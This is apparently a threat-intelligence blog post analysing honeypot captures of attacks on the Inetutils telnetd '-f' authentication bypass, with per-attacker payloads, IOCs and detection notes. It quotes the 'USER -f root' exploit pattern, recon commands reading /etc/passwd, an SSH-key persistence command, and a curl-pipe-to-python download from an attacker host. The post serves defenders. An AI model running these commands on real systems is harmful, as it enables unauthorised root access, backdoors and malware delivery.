-f Around and Find Out: 18 Hours of Unsolicited Telnet Houseguests

Detailed analysis of the Inetutils Telnetd ‘-f’ authentication bypass, covering 18 exploit attempts, attacker tactics, and detection insights.
Telnet
inetutils
iocs
detection engineering
cybersecurity
Author

hrbrmstr + 🔮Orbie✨

Published

January 22, 2026

Shortly after news circulated about the remote authentication by-pass in telnetd, the Labs team quickly triaged the exploit, had a tag made and put in place, and also stood up some vulnerable sensors The attackers arrived in short order.

The team was jamming with our pals over at Censys and it looks like this is thankfully going to be a nothingburger of a weakness. Since the URL to the Censys platform is causing all sorts of fun URL parsing and rendering problems for every Markdown environment I’ve put it in, you should head to https://platform.censys.io/search (provided you have an account) and use this query:

host.services:
  (
    protocol: "TELNET" and
    banner=~"\\w+\\s+[0-9]+\\.[0-9]+(\\.[0-9]+)*(-[\\w-]+)?\\s+\\([^)]+\\)\\s+\\([^)]+\\)"
  )

to see the blast radius (what’s the over/under on how many of those honeypots?).

I’ve asked a few folks to rummage around the systems, but the PCAPs from ~18 exploit attempts tell a fairly comprehensive story on their own.

Let’s take a look!

Mandatory (Boring, But Informative) Executive Summary

Analysis of the combined sessions reveals a coordinated exploitation campaign targeting Telnet services (TCP/23) using the Inetutils Telnetd -f authentication bypass vulnerability. The attack leverages a command injection flaw in the Telnet daemon’s handling of environment variables, specifically the USER environment variable with the -f flag to bypass normal authentication mechanisms.

Key Findings:

  • 18 unique attacker source IPs conducted 60 exploitation attempts
  • All traffic is Telnet protocol (TCP/23) - 100% malicious
  • Multiple payload variants indicate diverse attacker tooling/configurations
  • Post-exploitation activities include system reconnaissance, SSH key persistence, and malware deployment attempts
  • Campaign shows characteristics of both opportunistic scanning and targeted follow-up exploitation

Traffic Overview

Thankfully, there were only a few attackers desperate enough to try to claim the rights to those ~3K systems Censys shows. This is the extent of the activity as of this penned post:

Total Packets:     1,525
Total Bytes:       104,025 bytes (101.6 KB)
Telnet Frames:     712 (46.7% of total packets)
TCP Conversations: 60 unique sessions
  • First Activity: 2026-01-21 07:19:15 (38.145.220.204)
  • Last Activity: 2026-01-22 04:08:41 (178.16.53.82)
  • Peak Activity: Multiple bursts from 178.16.53.82 (12 sessions)

We ran the packets through a series of spelunks in tshark and Suricata (with a fairly bland set of rules since our own rules caught the attempt in the fleet).

Since a couple attackers did manage to violate those vulnerable systems, Suri picked up on it right away:

Alert Signature: GPL ATTACK_RESPONSE id check returned root
Category:        Potentially Bad Traffic
Severity:        Medium (2)
Trigger:         Response indicating successful root access
Flow ID:         1181824199682214 (156.238.237.103 → 8.XX.XX.XX.XX:23)

We’ll get to the exploits in a moment, but we do need to set up some baseline info first…

More Than You Ever Wanted To Know About Initial Access Exploits Over Telnet

Just in case you’re not as obsessed as we are about emergent threats, the Inetutils Telnet daemon contains a critical authentication bypass vulnerability exploitable via the -f flag in the USER environment variable during the Telnet negotiation phase. This allows attackers to skip authentication and gain shell access as an arbitrary user (typically root).

This is the “attack vector” in all its glory:

Telnet Option Negotiation (IAC SB) →
  ENVIRON variable injection →
    USER=-f <username> →
      Authentication bypass →
        Direct shell access

NOTE: We’re going to use more than a few “Telnet” wonk terms so please keep RFC 854 handy in a tab or PDF viewer. Honestly, a few of the attackers should have done that as well.

All observed payloads follow the Telnet IAC ““Interpret As Command”) negotiation format embedding the malicious USER variable:

[Telnet IAC negotiations]
[Terminal speed: 9600,9600 or 38400,38400 or 0,0]
[Terminal type: XTERM-256COLOR / xterm-256color / screen-256color / UNKNOWN]
USER.-f <target_user>
[Optional: DISPLAY variable for X11]

The -f flag forces the Telnet daemon to treat the connection as pre-authenticated for the specified user.

On to the exploits!

Attacker Source Analysis & Unique Payloads

(Feel free to jump down to “Payload Taxonomy” which summarises these initial access config details. We won’t mind.)

178.16.53.82 (12 sessions, 10 unique targets)

Payload Variant:

Terminal: 9600,9600 baud
Environment: USER.-f root
Terminal Type: XTERM-256COLOR (uppercase)

Sample (hex-decoded):

.. .9600,9600....'..USER.-f root......XTERM-256COLOR..

Behavioral Notes:

This was the most prolific attacker in capture, slinging the most consistent payload across all sessions, which suggests the use of a single toolkit.

The very “mid” post-exploitation activity was nothing to write home about:

uname -a;id;cat /proc/cpuinfo;cat /etc/passwd;
echo -n S;echo -n U$(uname -a)EU;echo blah$(hostname -f)blah;uname -a;id;cat /proc/cpuinfo;cat /etc/passwd;

This is a pretty big “tell” that we’re looking at automated reconnaissance, since command output wrapped in markers for parsing (S/EU/blah delimiters),


216.106.186.24 (9 sessions, 4 unique targets)

Payload Variant:

Terminal: 38400,38400 baud
Environment: USER.-f root
Terminal Type: UNKNOWN (unrecognized terminal)

Sample:

.. .38400,38400....'..USER.-f root......UNKNOWN..

This one concentrated efforts on a particular /16 subnet, and focused on SSH public key injection, with a secondary payload being a Python-based malware download.

# SSH Key Persistence Attempt
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC760bkQm5qeRZ6bgXfbUIKFcJF7ef6fB
1Ee+3KJJkmefYCtjYXKtAGn17cLJ6IzONHM/sRe7XqnkgD0J/pLSWKeDwaaQq9+u/6xFV48VbZtdVc
Ht4zOwLUBGnh1zaE4YoEWzCwtY33pldX9BKINJDRRFTPjjr6+Z1u00e+IWe2rQZ9qzGBriunNTCqRh
eopcM4NFOdoce2/JLT6m046lTg7te/fUwwZNPj8lXGX7gcc5X7UblmkzeUKvVhOknmxAd55IyhQZdL
8Aro0/RC8GEHIu1uDgGBrZXxX6Nef4g9/kRb0A7AhCAwadMwjqObKd/t7mbbqsjz53nx+6/tHoQaAA
XDBJu0pAm/hZM5KRUxwFLrX8+2lLPa7LOYgbO6FlMz/yYPnrae8ZGRuog/82y7pZtS37Ce5z3C2PBd
ZCqubT884R2VwELuL7VJIER2t8xsj8QlYA0sOWzOGhS3i/UU2c2iISe0rXEhWHI1efV9m3TBs3pguy
ujkOeW2M8KfCs= root@s51865.vps.hosting' >> ~/.ssh/authorized_keys

# Malware Deployment Attempt
nohup curl -fsSL http://XX.XX.XX.XX:8000/apps.py | python - XX.XX.XX.XX_ > /dev/null &

149.88.75.211 (6 sessions, 6 unique targets)

Payload Variants (2):

Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................* (with trailing asterisk padding)

Since there were two distinct payload formats, this suggests multi-tool usage or version differences. They were also slinging this exploit everywhere (so you almost certainly caught them in your logs…you are logging and reviewing logs, right?).


156.238.237.103 (5 sessions, 5 unique targets)

Payload Variants (2):

Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................*

This was the one which triggered the IDS alert for successful root access.


167.172.111.135 (4 sessions, single target)

Payload Variants (2):

Terminal: 0,0 baud (no speed negotiation)
Variant A: USER.-f nobody
Variant B: USER.-f daemon
Terminal Type: xterm-256color (lowercase)

Now, this was a persistent one. It focused on a single target, and made attemps with those non-root accounts. It suggests a slightly more clever actor who has run into situations where there may have been detection in place for root attempts, and that they may have a few privilege escalation tricks up their sleeve.

There were just four sessions, and the speed between them suggests this was a very human operator at an IRL keyboard.


165.22.30.48 (3 sessions, single target)

Payload Variants (3):

Terminal: 0,0 baud
USER.-f nobody
USER.-f daemon
USER.-f nonexistent123
Terminal Type: xterm-256color

This also has signs of human-at-keyboard (I guess “AI” isn’t taking all the boring jobs, yet?), and the use of nonexistent123 at least shows some signs of creativitity.


66.90.99.202 (4 sessions, 4 unique targets)

Payload Variants (2):

Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root......XTERM..

This one either wrote one bad script without the terminal config, then fixed it, or they’re just pressing keys (badly) based on a task list.


67.220.95.16 (4 sessions, 4 unique targets)

Payload Variant:

Terminal: 38400,38400 baud
USER.-f root
Terminal Type: UNKNOWN

This dude use the same initial-access source IP as the C2 IP. Rookie!


203.155.222.145 (2 sessions, 2 targets)

Payload Variants (2):

Variant A: ..'..USER.-f root..
Variant B: ..'..USER.-f root................*

There is literally nothing more to say about this one. They might as well have not even bothered wasting the bandwidth.


103.151.172.31 (2 sessions, 2 targets)

Payload Variants (2):

Variant A: .. .38400,38400....#.kali.kali:0.0....'..USER.-f root.DISPLAY.kali.kali:0.0......XTERM-256COLOR..
Variant B: ....XTERM-256COLOR.....

Some real diversity at last! Someone fired up Kali linux into full GUI mode and started typing. Everyone needs a hobby, I guess.


45.87.43.148 (2 sessions, single target)

Payload Variant:

Terminal: 38400,38400 baud
USER.-f root
Terminal Type: xterm-256color

While they did keep focus (that “single target”), they were also pretty ineffective.


213.93.218.8 (1 session)

Payload Variant:

Terminal: 38400,38400 baud
DISPLAY: MiniBear:0
USER.-f root
Terminal Type: XTERM-256COLOR

It was nice of this one to tell us what their hostname is.


40.124.112.175 (1 session)

Payload Variant:

Terminal: 0,0 baud
DISPLAY: shared-vm2.localdomain:0
USER.-f root
Terminal Type: XTERM-256COLOR

Again with the hostname leak?! I do wish it were a bit more detailed since I’m sure a thousand cloud providers use the same naming structure in their VPS environments.


183.6.91.54 (1 session)

Payload Variant:

Terminal: 9600,9600 baud
USER.-f root
Terminal Type: screen-256color (GNU Screen terminal multiplexer)

At least I can respect an attacker who multitasks, and who rightly uses screen to do so (don’t @-me tmux cult members). I gotta wonder how many more sessions this individual was managing at once, now.


223.254.128.15 (1 session)

Payload Variant:

..'..USER.-f root..............

Yawn.


104.28.222.46 (1 session)

Payload Variant:

..'..USER.-f root..-f root (duplicate -f root argument)

Someone fat-fingered the attempt. -f stands for “fail” in this case.


38.145.220.204 (1 session)

Payload Variant:

..'..USER.-f root..

Yawn.


45.143.233.138 (1 session)

Payload Variant:

Terminal: 38400,38400 baud
USER.-f root
Terminal Type: UNKNOWN

At least this one likes being mysterious.


Payload Taxonomy

By Terminal Speed Configuration

Baud Grouping
9600,9600 baud 2 sources (178.16.53.82, 183.6.91.54)
38400,38400 baud 7 sources (216.106.186.24, 103.151.172.31, 45.87.43.148, 67.220.95.16, 45.143.233.138, 213.93.218.8)
0,0 baud (none) 2 sources (167.172.111.135, 165.22.30.48, 40.124.112.175)
Not specified 7 sources (minimal payloads)

By Terminal Type

Config Grouping
XTERM-256COLOR 5 sources (uppercase variant - Linux/BSD standard)
xterm-256color 3 sources (lowercase variant - compatibility mode)
screen-256color 1 source (GNU Screen multiplexer)
UNKNOWN 4 sources (generic/unrecognized terminal)
Not specified 5 sources

By Target User

Config Grouping
root 15 sources (83.3% - standard privilege escalation)
nobody 2 sources (low-privilege user testing)
daemon 2 sources (service account testing)
nonexistent123 1 source (invalid user probe)

By X11 Display Variable

3 sources:

  • kali.kali:0.0 (103.151.172.31)
  • MiniBear:0 (213.93.218.8)
  • shared-vm2.localdomain:0 (40.124.112.175)

Post-Exploitation Activity Taxonomy

Reconnaissance Commands

Source: 178.16.53.82 (multiple sessions)

# System fingerprinting
uname -a                # Kernel/OS version
id                      # User/group context
cat /proc/cpuinfo       # Hardware details
cat /etc/passwd         # User enumeration

# Automated output parsing wrapper
echo -n S;echo -n U$(uname -a)EU;echo blah$(hostname -f)blah

Automated bot collecting system metadata for vulnerability correlation or C2 inventory management. Output delimiters (S, U/EU, blah) suggest automated parsing by C2 infrastructure.


Persistence Mechanisms

Source: 216.106.186.24

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAA...[truncated]...= root@s51865.vps.hosting' >> ~/.ssh/authorized_keys

SSH Public Key Fingerprint (MD5):

# Key origin: root@s51865.vps.hosting
# Key type: RSA 3072-bit
# Purpose: Persistent SSH backdoor access

Observed Failure:

-bash: /root/.ssh/authorized_keys: No such file or directory

Target lacks .ssh directory. Nice try tho!


Malware Deployment

Source: 216.106.186.24

nohup curl -fsSL http://67.220.95.16:8000/apps.py | python - 8.XX.XX.XX_ > /dev/null &

Breakdown:

  • nohup: Background execution, survives shell termination
  • curl -fsSL: Silent download with redirect following
  • http://67.220.95.16:8000/apps.py: Second-stage Python payload
  • python -: Execute downloaded code via stdin
  • 8.XX.XX.XX_: Command-line argument (target identifier for C2 callback)
  • > /dev/null &: Suppress output, background process

Observed Failures:

nohup: failed to run command 'curl': No such file or directory
-bash: python: command not found

Target environment lacks curl/python. Again, kudos for trying!

Malware Distribution Server IOC:

URL: http://XX.XX.XX.XX:8000/apps.py
Purpose: Python (likely)-based second-stage payload (likely botnet client or cryptominer)

Infrastructure Correlation

Linked Attack Infrastructure

67.220.95.16:

  • Direct exploitation source (4 Telnet sessions)
  • Malware distribution server (HTTP port 8000, apps.py)
  • Dual-purpose infrastructure (exploitation + payload hosting)

SSH Key Attribution

root@s51865.vps.hosting:

  • Likely VPS hostname indicating rented infrastructure
  • RSA 3072-bit key deployed by 216.106.186.24
  • Cross-reference: s51865 suggests specific VPS provider server ID

FIN

In a way, I’m glad this bug was found, as it gave a handful of C-listers a chance to practice (and, as you saw, most of them needed said practice), and it gave me something besides React2Shell and OAST domains to obsess over for a bit.

We’ll keep an eye out if anyone manages to do something clever or novel.